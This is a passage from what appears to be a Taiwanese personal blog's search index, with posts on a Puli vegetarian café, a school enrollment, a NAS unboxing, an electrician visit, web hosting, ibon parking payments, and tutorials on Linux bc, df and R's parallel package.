蔬食的位置很靠近樹人路的福懋加油站，附近很好停車。\n門口有許多漂亮的花草，都是老闆娘精心整理的，非常別緻。\n老闆娘以前是做花藝的，所以這裡的花花草草都被照顧的很好，看起來都非常有生命力，欣欣向榮，很有朝氣。\n名副其實的健康の美味早午餐。\n這是店內的用餐環境，座位舒適、環境整潔，撥放著輕鬆的音樂，在這裡用餐休息非常舒服。\n店內也有免費 WiFi 無線網路可以使用，我如果也住埔里的話，我一定會拿筆電來這裡工作。 🙂\n這是店內的吧檯，周圍擺放的盆栽都是真正的花，每一盆都很有特色。\n這是自助式的茶水與餐具。\n這是 Mica 蔬食的菜單，有早餐（輕食）、午餐（飯類、麵類）、沙拉、下午茶、點心、甜點、咖啡、果汁與各種茶類等，選擇性很豐富。\n我們家阿玄看我拿相機拍菜單，也學我拿手機跟著拍，看起來很認真的樣子。\n輕食、早餐 今天早上我們點了一份薯泥沙拉三明治套餐，套餐的飲料我們選擇咖啡。\n左邊那一小杯是老闆娘自己調製的和風醬汁（我忘記拍特寫了），它是要淋在生菜沙拉上的。\n沙拉裡面還有堅果，配上老闆娘自製的和風醬汁，真的好吃。\n阿玄吃三明治的樣子。\n另外我們還點了一份照燒酥排堡套餐，套餐都有附飲料，但是我忘記放進來一起拍了。\n色香味俱全的照燒酥排堡，裡面的料還滿豐富的。\n配上堅果生菜沙拉。\n阿玄看到這個大漢堡，感覺非常新鮮的樣子。\n沙拉 這一道是和風溫製百菇沙拉。\n午餐 午餐的部分是中式的料理，這是日本香菜鮮蔬炒飯套餐，有附湯品、甜點、飲料，而我們補差價之後，把飲料升級成嘉寶果（樹葡萄）的果汁。\n日本香菜的味道跟台灣香菜不同，很好吃。\n這是蒲燒素鰻魚飯套餐，同樣有有附湯品、甜點、飲料。\n這一道蒲燒素鰻魚是老闆娘自己手工製作的，很有特色。\n涼拌黑木耳口感 Q 嫩、醬汁味道也很不錯。\n以下是一些配菜的特寫。\n花藝 由於老闆娘以前有花藝的背景，所以在 Mica 店內放置了許多的花藝品，在店裡看到的全部都是真正的花，有乾燥花與真花，將整個用餐環境的氣氛營造得很好，非常漂亮且專業。\n這是 Mica 蔬食的名片。\nMica 有 facebook 粉絲專頁以及 LINE 群組。\n這裡還有賣他們自己種植與製作的嘉寶果（樹葡萄）酵素，而在嘉寶果的產季期間，也會賣新鮮的嘉寶果。\n以下是一些我們家阿玄的用餐照片。\nMica 蔬食是一家適合全家一起用餐的好地方，餐點、環境、服務、CP 值皆屬一流，阿玄這天吃完早餐之後，隔天回到台南還跟我說他想再去 Mica 吃早餐，非常推薦大家來這裡用餐。\n","permalink":"https://blog.gtwang.org/life/mica-vegetarian-restaurant-puli-nantou-20180830/","summary":"\u003cp\u003e咪卡 Mica 蔬食是一家位於南投埔里的素食早午餐店，有西式輕食、中式的午餐、咖啡與茶點，餐點健康美味、店內環境布置優雅舒適，是一家非常推薦的平價優質素食店。\u003c/p\u003e","title":"[南投埔里素食] 咪卡 Mica 蔬食：早午餐、輕食、簡餐、下午茶"},{"content":"本篇是我們家阿玄去南投埔里均頭國小就讀，入學報到當天的簡單記錄。\n南投埔里的均頭國民中小學是佛光山創辦的學校，有國小部與國中部，我們家阿玄今年暑假念完小學一年級之後，就辦理轉學，轉到均頭國小接著念二年級。\n這是均頭國民中小學的大門口。\n阿玄今天來這裡報到，之後就要在這裡唸書了。\n自己拉著行李入校。\n校園內的環境非常好，來到這裡感覺非常舒服，讓阿玄在這裡唸書感覺很放心。\n在這裡念書的小朋友，平常週日到週四住校，週五下午會乘坐交通車回家，而週日下午再乘坐交通車返回學校。\n均頭國民中小學有提供暑期試讀，可以先讓小朋友嘗試看看這裡的學習與生活環境，如果小朋友適應的話，再辦理入學或轉學。\n報到時，要填寫一些基本資料，阿玄在看自己的基本資料。\n報到當天有一件很重要的事情就是確定交通車，這一張是校方安排好的的交通車時間表。\n均頭國小都是週五中午吃飽飯後放學，大約 12:40 至 13:00 左右上車，中途某些站司機先生會讓小孩上洗手間，通常搭車時間都很固定，司機先生都控制的很好。週日回程的話，通常都是晚上 8 點左右即可回到學校。\n我們家的位置在西港，所以一開始選擇在台南仁德交流道上下車，不過仁德交流道距離我們家還是有一段路，在我第一次去仁德接阿玄的時候，司機說可以讓我們改在比較近的安定交流道上下車，這樣對我們來說就方便很多。\n司機先生說因為安定交流道沒什麼車，所以可以多停一站沒問題，若是像永康交流道這種常塞車的地方，就沒辦法了，剛好我們運氣不錯。\n若想了解更多有關均頭國小的資訊，可以參考均頭國小的文章集。\n","permalink":"https://blog.gtwang.org/children/jtjhs-puli-nantou-20180830/","summary":"\u003cp\u003e本篇是我們家阿玄去南投埔里均頭國小就讀，入學報到當天的簡單記錄。\u003c/p\u003e\n\u003cp\u003e南投埔里的均頭國民中小學是佛光山創辦的學校，有國小部與國中部，我們家阿玄今年暑假念完小學一年級之後，就辦理轉學，轉到均頭國小接著念二年級。\u003c/p\u003e","title":"[南投埔里] 阿玄就讀佛光山均頭國小入學記錄"},{"content":"本篇是 Synology DiskStation DS218 NAS 伺服器的簡單開箱介紹。\n現代人有許多的文件、照片、影片等資料都會以電子檔的方式放在電腦中，而電子檔雖然方便，但是萬一硬碟壞掉了，資料也就跟著不見了，因此資料備份的問題就顯得非常重要。\n我自己本身當然也有非常多的資料，備份在不同的地方，以前都是用手動備份的方式，一顆硬碟滿了就放在另外一顆，長久下來累積了好幾顆幾百 GB 硬碟，時常會忘記什麼資料放在哪個儲存裝置上，往往為了找一個東西就要花好久的時間。\n而現在的硬碟越來越大，價格也越來越便宜，打算用一個大一點的 NAS，把以前那接幾百 GB 的硬碟資料整理一下，統一放在一處，方便管理。\n這次買了一個 Synology DiskStation DS218 NAS 伺服器，加上兩顆 6TB 的硬碟，這樣做 RAID 1 之後，就可以把以前所有的資料放在裡面，備份的問題也可以直接解決。\n開箱 這是外盒的正面。\n這是外盒的背面。\n打開外盒，裡面這一台就是 Synology DiskStation DS218 NAS 伺服器。\n小盒子裡面有一些配件。\n這些是所有的配件，包含電源線、電源供應器、RJ-45 網路線，還有說明書與幾個螺絲。\n這一個是電源供應器，輸出是 12V、5A。\n這台就是 Synology DiskStation DS218 NAS 伺服器，前方有一張塑膠保護膜。\n撕掉塑膠保護膜後，就是 Synology DiskStation DS218 NAS 伺服器實際的樣貌。\n正面有狀態、網路與硬碟的燈號、一個 USB 2.0 插孔、複製按鈕、電源按鈕。\n側面是散熱孔。\n背面有散熱風扇、兩個 USB 3.0 插孔、RJ-45 1GbE 網路孔。\n另一側也是散熱孔。\n安裝硬碟 前方的面板有一片蓋子，拆下來之後，就可以看到裡面的硬碟抽取盒。\n這是兩個硬碟抽取架，可以裝 2.5 吋或是 3.5 吋的硬碟。\n這是硬碟插槽內部的樣子。\n這兩盒是新買的硬碟。\n兩個硬碟容量都是 6TB。\n把硬碟裝上抽取架，安裝的時候只要把側邊的卡榫拆下來，把硬碟放上去之後，再裝回卡榫，不需要螺絲起子。如果想要鎖螺絲的話，可以從底部鎖，但是我覺得這樣就夠穩了，所以螺絲我就沒有用了。\n裝上抽取架的兩顆硬碟。\n把硬碟插入抽取盒。\n蓋上蓋子就完成了。\n插上網路線，開機之後就可以開始使用了。\n網頁操作介面 Synology DiskStation DS218 NAS 伺服器都是透過網路來操作的，打開電腦的瀏覽器，輸入 find.synology.com 這個網址，就會自動搜尋這台設備。\n首先下載與安裝新版的 DiskStation Manager（DSM）。\n等待安裝 DSM。\n接著新增管理者的帳號。\n設定 DSM 更新與維護規則。\nQuickConnect 的功能可以讓我們在任何地方透過網路連到自己的這台 NAS 伺服器，存取上面的資料，需要的人就可以設定一下這個功能。\n所有的設定都完成之後，就可開始使用這台 NAS 伺服器了，他的使用者介面是桌面式的環境。\n裡面有許多各種不同功能的套件可以使用。\n硬碟的部分，預設會使用 RAID 1，若要修改成 RAID 0 的話也可以。\n","permalink":"https://blog.gtwang.org/unboxing/synology-diskstation-ds218-nas-server/","summary":"\u003cp\u003e本篇是 Synology DiskStation DS218 NAS 伺服器的簡單開箱介紹。\u003c/p\u003e\n\u003cp\u003e現代人有許多的文件、照片、影片等資料都會以電子檔的方式放在電腦中，而電子檔雖然方便，但是萬一\u003ca href=\"/tips/how-long-do-hard-drives-actually-live-for/\"\u003e硬碟壞掉\u003c/a\u003e了，資料也就跟著不見了，因此資料備份的問題就顯得非常重要。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[開箱] Synology DiskStation DS218 NAS 伺服器"},{"content":"最近家門口天花板的燈具因為太老舊了，有一半脫落下來，請西港就近的水電師傅來更換一下，順便做一下記錄。\n這一位水電師傅住在西港，剛好隔壁鄰居今天請他來修理東西，我就順便請他幫我換一下門口天花板的燈具，人非常好。\n名稱：水電工程師傅 黃元宏\n服務項目：馬達水塔、衛浴設備、燈具吊扇、瓦斯爐具、熱水器\n電話：0937-369-430\n(06) 7952891\n地址：台南市西港區慶安路 228 巷 8 號\n這是水電師傅的名片。\n這是我家門口天花板上非常老舊的日光燈，燈具已經脫落了，感覺就要掉下來了，所以趕快請師傅把它換掉。\n由於我今天下午要出門，而今天這位水電師傅人很好，趕著中午的時間幫我去佳里拿料件，馬上過來幫我換。\n更換燈具的時候，首先把舊的燈具拆掉。\n然後再把新的燈具裝上去。\n一下子就裝好了，這樣就不必擔心老舊的燈具掉下來了。\n這次更換燈具時，我直接換成 LED 的燈具，不需要裝啟動器，而且 LED 的燈光沒有藍光問題，在鄉下晚上開燈的時候，比較不會引來蟲子，如果有類似困擾的人，強烈建議把普通日光燈換成 LED 的燈管。\n如果是一般的普通的日光燈燈具的話，只要把啟動器拆掉之後，舊可以直接把日光燈管換成 LED 燈管了，我家大部分的燈管我都是這樣換的，晚上的蟲子真的少很多。\n","permalink":"https://blog.gtwang.org/life/plumbing-and-heating-technician-sigang-tainan-20180825/","summary":"\u003cp\u003e最近家門口天花板的燈具因為太老舊了，有一半脫落下來，請西港就近的水電師傅來更換一下，順便做一下記錄。\u003c/p\u003e\n\u003cp\u003e這一位水電師傅住在西港，剛好隔壁鄰居今天請他來修理東西，我就順便請他幫我換一下門口天花板的燈具，人非常好。\u003c/p\u003e","title":"[台南西港] 請水電師傅更換燈具記錄"},{"content":"本篇介紹如何在 Linux 中使用 bc 指令處理各種數學運算，以及應用在指令稿中的範例。\nLinux 的 bc 指令是一個標準的 Linux 計算工具，同時也是一種簡單的程式語言，基本的變數、if 控制、迴圈等都有，可以用來處理各種的數學運算、作為辦公用的計算機，或是用它所提供的語法來撰寫指令稿，處理較複雜的問題。\n由於 bc 是一個標準的 Linux 指令，通常在各種 Linux 中都有安裝，所以 Linux 老手在撰寫 Bash 等 shell 指令稿時，若遇到各種需要數學運算的工作，有都會交給 bc 來處理。\n以下我們將介紹 bc 的使用方式，以及應用在 Bash 指令稿中的範例。\n安裝 bc 指令 一般來說，大部分的 Linux 發行版預設都會安裝 bc，如果您的 Linux 系統上真的沒有裝，可以透過各個 Linux 發行版的套件庫來安裝：\nsudo apt install bc # Debian/Ubuntu sudo yum install bc # RHEL/CentOS sudo dnf install bc # Fedora 22+ bc 互動式操作環境 若要把 bc 當作一般的計算機使用，可以在終端機中執行 bc 指令，進入互動是的操作介面：\n# shell 指令 bc 接著即可輸入各種的數學運算式，每輸入一行運算式，按下 Enter 之後，bc 就會顯示運算的結果，例如：\n5 + 10 15 計算 2 的 20 次方：\n2 ^ 20 1048576 也可以使用括號指定運算的順序：\n(3 + 6) * 9 81 設定小數點後輸出位數 bc 預設不會輸出小數點以下的數字：\n3 / 5 0 如果想要得到比較精確的數值，可以在執行 bc 的時候，加上 -l 參數，這樣它就會輸出輸出小數點以下 20 未數字：\n# shell 指令 bc -l 這樣就可以得到很精確的結果：\n3 / 5 .60000000000000000000 100 / 7 14.28571428571428571428 除了 -l 參數之外，亦可使用 scale 這個 bc 的變數來指定小數點後輸出位數：\nscale=5 100/7 14.28571 scale=10 100/7 14.2857142857 bc 與 Shell 指令稿 通常 bc 都會寫在 shell 指令稿中，結合其他的 Linux 指令一起使用，我們可以用其他指令產生運算式，交給 bc 去計算：\n# shell 指令 echo \u0026#39;scale=5; 100/7\u0026#39; | bc 14.28571 在 shell 指令稿中，若要將 bc 的計算結果放進 shell 的變數中，可以這樣寫：\n#/bin/bash ans=$(echo \u0026#39;scale=5; 100/7\u0026#39; | bc) echo \u0026#34;答案為：$ans\u0026#34; 答案為：14.28571 變數 bc 也可以像一般程式語言一樣使用變數：\na = 123 b = 456 a * b 56088 我們可以結合 shell 底下 $1 與 $2 參數，轉寫一個計算平均值的 shell 指令稿：\n#/bin/bash # 計算兩個數的平均值 ans=$(echo \u0026#34;($1 + $2) / 2\u0026#34; | bc -l) echo \u0026#34;平均為：$ans\u0026#34; 把這段指令儲存為 script.sh，執行時將要計算的輸入數值放在後面：\n./script.sh 12 34 平均為：23.00000000000000000000 補充範例 bc 還有其他非常多的功能，但是一般人大概比較少會使用到，以下我們只提供一些範例給大家參考，若有興趣更深入研究的人，可以參考範例以及 bc 的線上手冊（man page）。\n計算數學常數 PI 的值：\n#/bin/bash pi=$(echo \u0026#34;scale=10; 4*a(1)\u0026#34; | bc -l) echo \u0026#34;PI 為：$pi\u0026#34; PI 為：3.1415926532 在 bc 指令稿中自訂函數：\n/* bc 指令稿 */ define myfunc (x) { ans = x * 2; return (ans); } myfunc(5); 10 使用 bc 的 for 迴圈計算 1 到 10 的總和：\n/* bc 指令稿 計算 1 到 10 的總和*/ sum = for (i = 1; i \u0026amp;lt;= 10; i++) { sum += i } print \u0026#34;答案是：\u0026#34;, sum, \u0026#34;n\u0026#34; 答案是：55 參考資料 Tecmint basically tech tutorialspoint ","permalink":"https://blog.gtwang.org/linux/linux-bc-command-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何在 Linux 中使用 \u003ccode\u003ebc\u003c/code\u003e 指令處理各種數學運算，以及應用在指令稿中的範例。\u003c/p\u003e\n\u003cp\u003eLinux 的 \u003ccode\u003ebc\u003c/code\u003e 指令是一個標準的 Linux 計算工具，同時也是一種簡單的程式語言，基本的變數、if 控制、迴圈等都有，可以用來處理各種的數學運算、作為辦公用的計算機，或是用它所提供的語法來撰寫指令稿，處理較複雜的問題。\u003c/p\u003e","title":"Linux 計算機 bc 指令用法教學與範例"},{"content":"本篇分析與評估 DreamHost 的 WordPress 網頁空間規格與價位，並與其他類似的主機商比較。\n為什麼要用 WordPress？ 網站在架設好之後，通常都會使用好幾年以上，所以在架站時首先要選擇好用、而且穩定的網站架構，通常越多人在用的架構就越穩定，不容易發生倒閉、終止維護等問題，而且也比較有發展性。\nWordPress 是目前全世界最熱門的網站架構，根據 W3Techs 的報告數據來看，全世界的網站中有 30% 都是使用 WordPress 架設的，而在 CMS 市場的市佔率高達 60%，遠遠超過其他的 CMS 架構。\n基本上來說，市場的佔有率通常是關鍵性的指標，占有率越高的架構，就有越多的使用者與開發者，良性循環之後也就更容易發展，所以對於沒有太多網站開發經驗的人來說，WordPress 是最好的選擇。\n而我自己的在架設網站時，雖然有能力自己開發整個網站，但我通常也會選擇直接使用 WordPress 來架設，因為它的架構完整，可用的資源很多，架設好基本的網站之後，若需要外加什麼功能，可以安裝外掛或是自己修改 PHP 程式，非常具有彈性。\nWordPress 官方推薦 DreamHost 既然要使用 WordPress 架設網站，當然在選擇網頁空間時就要找支援 WordPress 的空間，而在 WordPress 的官方網站就有直接推薦的網頁空間，而 DreamHost 就是其中一家。\n在 WordPress 官方認可的網頁空間上架設 WordPress 網站，除了 100% 的相容性保證之外，通常主機商也會提供一些額外的整合功能（例如特別好用的 WordPress 外掛功能等），讓我們在架站的時候可以更方便。\nDreamHost 的 WordPress 架站方案 在 DreamHost 上面的各種主機方案都有直接支援 WordPress 架設網站，以下是幾種入門方案的比較。\nShared Starter Shared Unlimited DreamPress 主機類型 共享型 共享型 加速型 網站數量 1 無限 1 個 WordPress 網站 流量限制 無限 無限 無限 儲存空間 SSD SSD 30GB SSD SSL 加密 有支援 有支援 有支援 Email 信箱 無 有 有 價格 2.59 美金/月 7.95 美金/月 16.95 美金/月 其實光看這張表格，大家可能不清楚該怎麼選，以下我簡單解釋三種方案的特色。\nShared Starter：最陽春、最便宜的方案，可以架設一個 WordPress 網站，由於它是使用共享型的主機（shared hosting server），所以網站的效能比較普通，適合剛開始學習架設網站的使用者，或是小型的個人網站。 Shared Unlimited：類似 Shared Starter 的方案，在效能方面其實跟 Shared Starter 方案是一樣的，只不過它可以架設好多個 WordPress 網站，適合需要同時架設多個小型網站的人。 DreamPress：使用加速型的主機（fast cloud server），這種主機使用高效能的 NGINX 伺服器、各種高效能的快取（Memcached、Varnish、OPcache）、最新的 Brotli 壓縮演算法等，可大幅提升網站效能，而在儲存空間則有完整的 30GB SSD 可以使用，適合需要長期營運的中小型的商業網站。 如果不注重網站效能的話（只要看的到網站就好，速度無所謂），架設一個網站就選擇 Shared Starter，架設多個網站就選 Shared Unlimited，但是如果考慮網站效能的話，就最好選擇 DreamPress。\nDreamHost 與 Bluehost 比較 Bluehost 也是 WordPress 官方推薦的主機商之一，也同樣有提供各種架設 WordPress 網站的方案，所以這裡拿來跟 DreamHost 稍微比較一下。\nBluehost 的入門級 WordPress 方案跟 DreamHost 的 Shared Starter 類似，可以架設一個 WordPress 網站，價格是每個月 3.95 美金，價格雖然比較高，但是有贈送一個網域名稱、5 個 Email 帳號，所以其實也差不多。\n而 Bluehost 的 Optimized WordPress Hosting 方案則類似 DreamHost 的 DreamPress，價格是每個月 19.99 美金，儲存空間同樣是 30GB 的 SSD，但是它有保證 2GB 的記憶體可用（這個對效能很重要），同時也有 NGINX 與 PHP-FPM 這些加速的功能。\n由於國外的主機空間之間競爭都很激烈，所以良性競爭之下，通常都是一分錢一分貨，價格不會差太多，唯一比較要注意的就是最好找營運比較穩定的主機商，以免網站出問題時還要搬家（你搬過一次之後，絕對不會想搬第二次），我想從 WordPress 官方推薦的 DreamHost 與 Bluehost 來選擇應該會比較保險一點。\n","permalink":"https://blog.gtwang.org/web-hosting/dreamhost-wordpress-hosting-review-2018/","summary":"\u003cp\u003e本篇分析與評估 DreamHost 的 WordPress 網頁空間規格與價位，並與其他類似的主機商比較。\u003c/p\u003e\n\u003ch2 id=\"為什麼要用-wordpress\"\u003e為什麼要用 WordPress？\u003c/h2\u003e\n\u003cp\u003e網站在架設好之後，通常都會使用好幾年以上，所以在架站時首先要選擇好用、而且穩定的網站架構，通常越多人在用的架構就越穩定，不容易發生倒閉、終止維護等問題，而且也比較有發展性。\u003c/p\u003e","title":"WordPress 與 DreamHost 網頁空間架設網站評估"},{"content":"本篇介紹如何使用 7-ELEVEN 的 ibon 查詢與列印停車費繳費單，直接在超商繳費，繳費單遺失也不用擔心。\n把車子停在路邊的收費停車格，都會收到停車的繳費單，但是夾在雨刷上的繳費單也很容易被風吹走，如果停完車都沒看到繳費單的話，可以直接到 7-ELEVEN 用 ibon 查詢，並且直接繳費，以下是操作的步驟。\nStep 1\n在 ibon 的主選單中，選擇左上角「儲值/繳費」的「停車費」功能。\nStep 2\n選擇停車的縣市。\nStep 3\n閱讀服務須知，點選「同意，繼續下一步」。\nStep 4\n選擇車種。\nStep 5\n輸入車牌號碼。\nStep 6\nibon 會根據車牌號碼，顯示出所有的停車繳費單據，請勾選要繳費的單據。\n將要繳費的項目都勾選起來之後，按下「下一步」。\nStep 7\n確認一下繳費的單據還有金額，若沒問題的話就點選「確認」。\nStep 8\n等待 ibon 列印繳費單。\n繳費單列印出來之後，就直接拿去 7-ELEVEN 的櫃台繳費即可。\nStep 9\n繳費完成後，記得把收據保留起來。\n","permalink":"https://blog.gtwang.org/life/7-eleven-ibon-paying-parking-fee-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 7-ELEVEN 的 ibon 查詢與列印停車費繳費單，直接在超商繳費，繳費單遺失也不用擔心。\u003c/p\u003e\n\u003cp\u003e把車子停在路邊的收費停車格，都會收到停車的繳費單，但是夾在雨刷上的繳費單也很容易被風吹走，如果停完車都沒看到繳費單的話，可以直接到 7-ELEVEN 用 ibon 查詢，並且直接繳費，以下是操作的步驟。\u003c/p\u003e","title":"7-ELEVEN 用 ibon 查詢與繳納路邊停車費教學"},{"content":"本篇介紹如何在 Linux 系統中使用 df 指令檢查磁碟的使用量與剩餘空間，並提供自動檢查磁碟空間的指令稿範例。\n對於 Linux 管理者來說，硬碟空間的使用量是時常需要檢查的系統資訊，如果硬碟空間沒有控管好，當硬碟空間耗盡時，就算再穩定的系統也會當機。\n在 Linux 中若要檢查系統上每一顆硬碟與各個分割區的空間使用量，可以使用 df 這個指令，以下是這個指令的使用教學與常用範例。\n檢查硬碟使用量 直接執行 df 指令即可顯示目前系統上各個磁碟分割區的狀況：\n# 檢查硬碟使用量 df 檔案系統 1K-區段 已用 可用 已用% 掛載點 udev 4007432 0 4007432 0% /dev tmpfs 806588 9648 796940 2% /run /dev/sda6 123198468 61872040 55045264 53% / tmpfs 4032920 61868 3971052 2% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 4032920 0 4032920 0% /sys/fs/cgroup /dev/sda1 262144 29812 232332 12% /boot/efi tmpfs 806588 68 806520 1% /run/user/1000 若只要查看指定的分割區，可以在參數中以掛載點來指定：\n# 指定掛載點 df / 檔案系統 1K-區段 已用 可用 已用% 掛載點 /dev/sda6 123198468 61874080 55043224 53% / 以容易閱讀的方式顯示磁碟用量 預設的 df 輸出會以 KB 為單位顯示磁碟用量，但是現在的硬碟容量都很大，這樣的輸出通常不好閱讀。\n若加上 -h 參數之後，可以讓 df 指令以適合人閱讀的方式顯示磁碟用量：\n# 以容易閱讀的方式顯示 df -h 檔案系統 容量 已用 可用 已用% 掛載點 udev 3.9G 0 3.9G 0% /dev tmpfs 788M 9.5M 779M 2% /run /dev/sda6 118G 60G 53G 53% / tmpfs 3.9G 61M 3.8G 2% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup /dev/sda1 256M 30M 227M 12% /boot/efi tmpfs 788M 76K 788M 1% /run/user/1000 顯示檔案系統 若要查看各個磁碟分割區的檔案系統類型，可以加上 -T 參數：\n# 顯示檔案系統 df -T 檔案系統 類型 1K-區段 已用 可用 已用% 掛載點 udev devtmpfs 4007432 0 4007432 0% /dev tmpfs tmpfs 806588 9644 796944 2% /run /dev/sda6 ext4 123198468 61871980 55045324 53% / tmpfs tmpfs 4032920 36008 3996912 1% /dev/shm tmpfs tmpfs 5120 4 5116 1% /run/lock tmpfs tmpfs 4032920 0 4032920 0% /sys/fs/cgroup /dev/sda1 vfat 262144 29812 232332 12% /boot/efi tmpfs tmpfs 806588 84 806504 1% /run/user/1000 如果只想要查看特定的檔案系統，可以使用 -t 指定要查看的類型：\n# 指定要顯示的檔案系統 df -t vfat 檔案系統 1K-區段 已用 可用 已用% 掛載點 /dev/sda1 262144 29812 232332 12% /boot/efi 若要排除特定的檔案系統，可以使用 -x 指定要排除的類型：\n# 指定要顯示的檔案系統 df -x vfat 檔案系統 1K-區段 已用 可用 已用% 掛載點 udev 4007432 0 4007432 0% /dev tmpfs 806588 17836 788752 3% /run /dev/sda6 123198468 61875120 55042184 53% / tmpfs 4032920 34080 3998840 1% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 4032920 0 4032920 0% /sys/fs/cgroup tmpfs 806588 84 806504 1% /run/user/1000 僅顯示本機磁碟 若系統上同時有掛載遠端的檔案系統，在 df 的輸出中也會同時顯示出來。若只想顯示本機的硬碟狀況，可以加上 -l 參數：\n# 僅顯示本機磁碟 df -l 檢查磁碟用量指令稿 對於時常需要檢查磁碟用量的管理者來說，通常會把這種例行性的檢查工作寫成指令稿，讓系統定期自動檢查。\n在檢查磁碟用量的時候，重要的資訊只有磁碟以及用量百分比，我們可以用以下這行指令從 df 的指令中取出這兩項資訊：\n# 篩選磁碟與用量 df -t ext4 -t vfat | awk \u0026#39;{ print $5 \u0026#34; \u0026#34; $1 }\u0026#39; 這裡我們使用 -t 參數只讓 df 輸出 ext4 與 vfat 兩種常見的檔案系統，然後使用 awk 輸出使用的百分比以及檔案系統欄位，輸出會類似這樣：\n已用% 檔案系統 53% /dev/sda6 12% /dev/sda1 接著我們把第一行標題去除，然後放進迴圈中檢查，如果使用量大於門檻值的話，就發出警告訊息通知管理者：\n#!/bin/sh df -t ext4 -t vfat | tail -n +2 | awk \u0026#39;{ print $5 \u0026#34; \u0026#34; $1 }\u0026#39; | while read output; do # 取出使用量（百分比） usep=$(echo $output | awk \u0026#39;{ print $1}\u0026#39; | cut -d\u0026#39;%\u0026#39; -f1 ) # 檔案系統 partition=$(echo $output | awk \u0026#39;{ print $2 }\u0026#39; ) # 若用量大於 90% 則用 Email 發出警告訊息 if [ $usep -ge 90 ]; then echo \u0026#34;Running out of space \\\u0026#34;$partition ($usep%)\\\u0026#34; on $(hostname) as on $(date)\u0026#34; | mail -s \u0026#34;Alert: Almost out of disk space $usep%\u0026#34; you@somewhere.com fi done 參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/linux-df-command-check-disk-space-usage-tutorial-script-example/","summary":"\u003cp\u003e本篇介紹如何在 Linux 系統中使用 \u003ccode\u003edf\u003c/code\u003e 指令檢查磁碟的使用量與剩餘空間，並提供自動檢查磁碟空間的指令稿範例。\u003c/p\u003e\n\u003cp\u003e對於 Linux 管理者來說，硬碟空間的使用量是時常需要檢查的系統資訊，如果硬碟空間沒有控管好，當硬碟空間耗盡時，就算再穩定的系統也會當機。\u003c/p\u003e","title":"Linux 檢查硬碟使用量 df 指令教學與指令稿範例"},{"content":"這裡介紹如何藉由 R 的 parallel 套件，使用多個 CPU 核心進行平行運算，提高計算速度。\n現在電腦的 CPU 都有好幾個核心，在 R 中處理大計算量的問題時，如果感覺計算速度不夠快，就可以考慮將計算工作平行化，藉著 parallel 平行計算套件，將工作分散至多個 CPU 核心來計算，讓計算速度大幅提昇。\nlapply 函數 由於 parallel 套件的實做與使用方式非常類似 R 內建的 lapply 這個隱式迴圈，所以在學習使用 parallel 套件之前，要先熟悉一下 lapply 用法。\n假設我們有三組常態分佈的抽樣資料：\n# 產生三組常態分佈的抽樣資料 x.list \u0026lt;- list( a = rnorm(10), b = rnorm(10), c = rnorm(10) ) x.list $a [1] 1.89632434 -0.90004876 0.67664475 0.49483551 0.05591163 0.04862564 [7] -0.46838166 -0.36932839 -0.03425141 0.76694261 $b [1] -1.65421202 -1.39584410 -0.65933271 0.01404326 -0.67322945 -0.54062796 [7] -1.03605538 -0.68641190 -0.35319759 -1.58982312 $c [1] 1.74472367 -0.75457928 0.72840523 -0.89119458 0.52035511 -1.55435785 [7] -0.40364765 0.07631279 -0.65365062 -1.13598909 如果想要計算這三組資料的平均值與標準差，就可以使用 lapply 來處理：\n# 計算平均值與標準差 lapply(x.list, function(x) c(mean(x), sd(x))) $a [1] 0.2167274 0.7880909 $b [1] -0.8574691 0.5486911 $c [1] -0.2323622 0.9984217 在執行時，lapply 會從第一個參數所指定的列表（或是向量）中，逐一取出所有元素，放進第二個參數所指定的函數中處理，處理完之後，將所有的結果串成一個列表再傳回。\n有關於更多 lapply 函數的教學，請參考 R 進階迴圈。\n使用 parallel 套件 R 在 2.14.0 版之後就已經將 parallel 納入內建的套件，所以使用時只要直接載入即可：\n# 載入 parallel 套件 library(parallel) 在實際進行計算之前，要先建立 cluster，指定需要使用的 CPU 核心數，若要發揮電腦的最大效能的話，可以透過 detectCores 自動偵測 CPU 的核心數，使用所有的核心：\n# 取得 CPU 核心數 cpu.cores \u0026lt;- detectCores() 然後建立一個 cluster：\n# 建立 Cluster cl \u0026lt;- makeCluster(cpu.cores) 在 cluster 建立之後，就可以利用它來進行平行化的計算了。\nparallel 套件提供了一個 parLapply 平行計算函數，其用法跟 lapply 幾乎相同（只多了一個指定 cluster 的參數），它可將不同的工作分配至不同的節點上運算，以平行的方式加速計算，若將上面 lapply 的範例以 parLapply 改寫，就會像這樣：\n# 平行化計算 parLapply(cl, x.list, function(x) c(mean(x), sd(x))) 執行之後的計算結果跟普通的 lapply 計算結果相同，只不過計算速度會比較快：\n$a [1] 0.2167274 0.7880909 $b [1] -0.8574691 0.5486911 $c [1] -0.2323622 0.9984217 計算完成之後，再將 cluster 關閉：\n# 關閉 Cluster stopCluster(cl) 以上就是 parallel 套件典型的使用模式。\nCluster 類型 parallel 支援的 cluster 有好多種，以下是幾種常用的類型：\nPSOCK 預設的 cluster 類型，其以 system(\u0026quot;Rscript\u0026quot;) 這類的方式建立 cluster 節點，透過 parallel socket 交換資料，支援所有平台。 FORK 以 fork 的方式建立 cluster 節點，不同節點之間可以共用唯讀資料的記憶體，所以執行效能非常好，但是 Windows 平台不支援此種 cluster 節點。 其他 其他的類型則是靠 snow 套件來支援（例如 MPI），請參考 snow 套件的說明。 一般來說若在 Windows 系統上要使用多核心的 CPU 做運算，都是使用預設的 PSOCK，而在 Linux 系統上則可以選擇效能較好的 FORK，若在大型的叢集電腦中使用多台電腦同時做運算的話，才會使用到 snow 所支援的 MPI。\n變數空間 在使用預設的 PSOCK cluster 時，若想要讓所有的節點可以使用預先設定好的全域變數，必須以 clusterExport 將變數傳遞至所有節點，之後才能在各個節點中使用：\n# 建立 PSOCK 的 cluster cl \u0026lt;- makeCluster(cpu.cores) # 建立全域變數 y \u0026lt;- 2 # 將變數傳遞至所有節點 